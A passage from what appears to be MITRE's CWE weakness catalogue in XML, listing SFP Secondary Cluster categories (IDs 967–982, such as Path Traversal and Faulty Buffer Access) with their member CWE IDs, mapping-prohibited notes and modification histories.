         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="967" Name="SFP Secondary Cluster: State Disclosure" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the State Disclosure cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="202" View_ID="888"/>
            <Has_Member CWE_ID="203" View_ID="888"/>
            <Has_Member CWE_ID="204" View_ID="888"/>
            <Has_Member CWE_ID="205" View_ID="888"/>
            <Has_Member CWE_ID="206" View_ID="888"/>
            <Has_Member CWE_ID="207" View_ID="888"/>
            <Has_Member CWE_ID="208" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="968" Name="SFP Secondary Cluster: Covert Channel" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Covert Channel cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="385" View_ID="888"/>
            <Has_Member CWE_ID="514" View_ID="888"/>
            <Has_Member CWE_ID="515" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="969" Name="SFP Secondary Cluster: Faulty Memory Release" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Faulty Memory Release cluster (SFP12).</Summary>
         <Relationships>
            <Has_Member CWE_ID="415" View_ID="888"/>
            <Has_Member CWE_ID="590" View_ID="888"/>
            <Has_Member CWE_ID="761" View_ID="888"/>
            <Has_Member CWE_ID="763" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="970" Name="SFP Secondary Cluster: Faulty Buffer Access" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Faulty Buffer Access cluster (SFP8).</Summary>
         <Relationships>
            <Has_Member CWE_ID="118" View_ID="888"/>
            <Has_Member CWE_ID="119" View_ID="888"/>
            <Has_Member CWE_ID="120" View_ID="888"/>
            <Has_Member CWE_ID="121" View_ID="888"/>
            <Has_Member CWE_ID="122" View_ID="888"/>
            <Has_Member CWE_ID="123" View_ID="888"/>
            <Has_Member CWE_ID="124" View_ID="888"/>
            <Has_Member CWE_ID="125" View_ID="888"/>
            <Has_Member CWE_ID="126" View_ID="888"/>
            <Has_Member CWE_ID="127" View_ID="888"/>
            <Has_Member CWE_ID="129" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="971" Name="SFP Secondary Cluster: Faulty Pointer Use" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Faulty Pointer Use cluster (SFP7).</Summary>
         <Relationships>
            <Has_Member CWE_ID="469" View_ID="888"/>
            <Has_Member CWE_ID="476" View_ID="888"/>
            <Has_Member CWE_ID="588" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="972" Name="SFP Secondary Cluster: Faulty String Expansion" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Faulty String Expansion cluster (SFP9).</Summary>
         <Relationships>
            <Has_Member CWE_ID="785" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="973" Name="SFP Secondary Cluster: Improper NULL Termination" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Improper NULL Termination cluster (SFP11).</Summary>
         <Relationships>
            <Has_Member CWE_ID="170" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="974" Name="SFP Secondary Cluster: Incorrect Buffer Length Computation" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Incorrect Buffer Length Computation cluster (SFP10).</Summary>
         <Relationships>
            <Has_Member CWE_ID="131" View_ID="888"/>
            <Has_Member CWE_ID="135" View_ID="888"/>
            <Has_Member CWE_ID="251" View_ID="888"/>
            <Has_Member CWE_ID="467" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="975" Name="SFP Secondary Cluster: Architecture" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Architecture cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="348" View_ID="888"/>
            <Has_Member CWE_ID="359" View_ID="888"/>
            <Has_Member CWE_ID="602" View_ID="888"/>
            <Has_Member CWE_ID="637" View_ID="888"/>
            <Has_Member CWE_ID="649" View_ID="888"/>
            <Has_Member CWE_ID="654" View_ID="888"/>
            <Has_Member CWE_ID="656" View_ID="888"/>
            <Has_Member CWE_ID="657" View_ID="888"/>
            <Has_Member CWE_ID="671" View_ID="888"/>
            <Has_Member CWE_ID="693" View_ID="888"/>
            <Has_Member CWE_ID="749" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="976" Name="SFP Secondary Cluster: Compiler" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Compiler cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="733" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="977" Name="SFP Secondary Cluster: Design" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Design cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="115" View_ID="888"/>
            <Has_Member CWE_ID="187" View_ID="888"/>
            <Has_Member CWE_ID="188" View_ID="888"/>
            <Has_Member CWE_ID="193" View_ID="888"/>
            <Has_Member CWE_ID="349" View_ID="888"/>
            <Has_Member CWE_ID="405" View_ID="888"/>
            <Has_Member CWE_ID="406" View_ID="888"/>
            <Has_Member CWE_ID="407" View_ID="888"/>
            <Has_Member CWE_ID="408" View_ID="888"/>
            <Has_Member CWE_ID="409" View_ID="888"/>
            <Has_Member CWE_ID="410" View_ID="888"/>
            <Has_Member CWE_ID="430" View_ID="888"/>
            <Has_Member CWE_ID="462" View_ID="888"/>
            <Has_Member CWE_ID="463" View_ID="888"/>
            <Has_Member CWE_ID="464" View_ID="888"/>
            <Has_Member CWE_ID="483" View_ID="888"/>
            <Has_Member CWE_ID="581" View_ID="888"/>
            <Has_Member CWE_ID="595" View_ID="888"/>
            <Has_Member CWE_ID="618" View_ID="888"/>
            <Has_Member CWE_ID="648" View_ID="888"/>
            <Has_Member CWE_ID="670" View_ID="888"/>
            <Has_Member CWE_ID="682" View_ID="888"/>
            <Has_Member CWE_ID="691" View_ID="888"/>
            <Has_Member CWE_ID="696" View_ID="888"/>
            <Has_Member CWE_ID="697" View_ID="888"/>
            <Has_Member CWE_ID="698" View_ID="888"/>
            <Has_Member CWE_ID="705" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="978" Name="SFP Secondary Cluster: Implementation" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Implementation cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="358" View_ID="888"/>
            <Has_Member CWE_ID="398" View_ID="888"/>
            <Has_Member CWE_ID="623" View_ID="888"/>
            <Has_Member CWE_ID="710" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="979" Name="SFP Secondary Cluster: Failed Chroot Jail" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Failed Chroot Jail cluster (SFP17).</Summary>
         <Relationships>
            <Has_Member CWE_ID="243" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="980" Name="SFP Secondary Cluster: Link in Resource Name Resolution" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Link in Resource Name Resolution cluster (SFP18).</Summary>
         <Relationships>
            <Has_Member CWE_ID="386" View_ID="888"/>
            <Has_Member CWE_ID="59" View_ID="888"/>
            <Has_Member CWE_ID="610" View_ID="888"/>
            <Has_Member CWE_ID="62" View_ID="888"/>
            <Has_Member CWE_ID="64" View_ID="888"/>
            <Has_Member CWE_ID="65" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="981" Name="SFP Secondary Cluster: Path Traversal" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Path Traversal cluster (SFP16).</Summary>
         <Relationships>
            <Has_Member CWE_ID="22" View_ID="888"/>
            <Has_Member CWE_ID="23" View_ID="888"/>
            <Has_Member CWE_ID="24" View_ID="888"/>
            <Has_Member CWE_ID="25" View_ID="888"/>
            <Has_Member CWE_ID="26" View_ID="888"/>
            <Has_Member CWE_ID="27" View_ID="888"/>
            <Has_Member CWE_ID="28" View_ID="888"/>
            <Has_Member CWE_ID="29" View_ID="888"/>
            <Has_Member CWE_ID="30" View_ID="888"/>
            <Has_Member CWE_ID="31" View_ID="888"/>
            <Has_Member CWE_ID="32" View_ID="888"/>
            <Has_Member CWE_ID="33" View_ID="888"/>
            <Has_Member CWE_ID="34" View_ID="888"/>
            <Has_Member CWE_ID="35" View_ID="888"/>
            <Has_Member CWE_ID="36" View_ID="888"/>
            <Has_Member CWE_ID="37" View_ID="888"/>
            <Has_Member CWE_ID="38" View_ID="888"/>
            <Has_Member CWE_ID="39" View_ID="888"/>
            <Has_Member CWE_ID="40" View_ID="888"/>
            <Has_Member CWE_ID="41" View_ID="888"/>
            <Has_Member CWE_ID="42" View_ID="888"/>
            <Has_Member CWE_ID="428" View_ID="888"/>
            <Has_Member CWE_ID="43" View_ID="888"/>
            <Has_Member CWE_ID="44" View_ID="888"/>
            <Has_Member CWE_ID="45" View_ID="888"/>
            <Has_Member CWE_ID="46" View_ID="888"/>
            <Has_Member CWE_ID="47" View_ID="888"/>
            <Has_Member CWE_ID="48" View_ID="888"/>
            <Has_Member CWE_ID="49" View_ID="888"/>
            <Has_Member CWE_ID="50" View_ID="888"/>
            <Has_Member CWE_ID="51" View_ID="888"/>
            <Has_Member CWE_ID="52" View_ID="888"/>
            <Has_Member CWE_ID="53" View_ID="888"/>
            <Has_Member CWE_ID="54" View_ID="888"/>
            <Has_Member CWE_ID="55" View_ID="888"/>
            <Has_Member CWE_ID="56" View_ID="888"/>
            <Has_Member CWE_ID="57" View_ID="888"/>
            <Has_Member CWE_ID="58" View_ID="888"/>
            <Has_Member CWE_ID="66" View_ID="888"/>
            <Has_Member CWE_ID="67" View_ID="888"/>
            <Has_Member CWE_ID="706" View_ID="888"/>
            <Has_Member CWE_ID="72" View_ID="888"/>
            <Has_Member CWE_ID="73" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="982" Name="SFP Secondary Cluster: Failure to Release Resource" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Failure to Release Resource cluster (SFP14).</Summary>
         <Relationships>
            <Has_Member CWE_ID="404" View_ID="888"/>
            <Has_Member CWE_ID="459" View_ID="888"/>
            <Has_Member CWE_ID="771" View_ID="888"/>
            <Has_Member CWE_ID="772" View_ID="888"/>
            <Has_Member CWE_ID="773" View_ID="888"/>
            <Has_Member CWE_ID="775" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
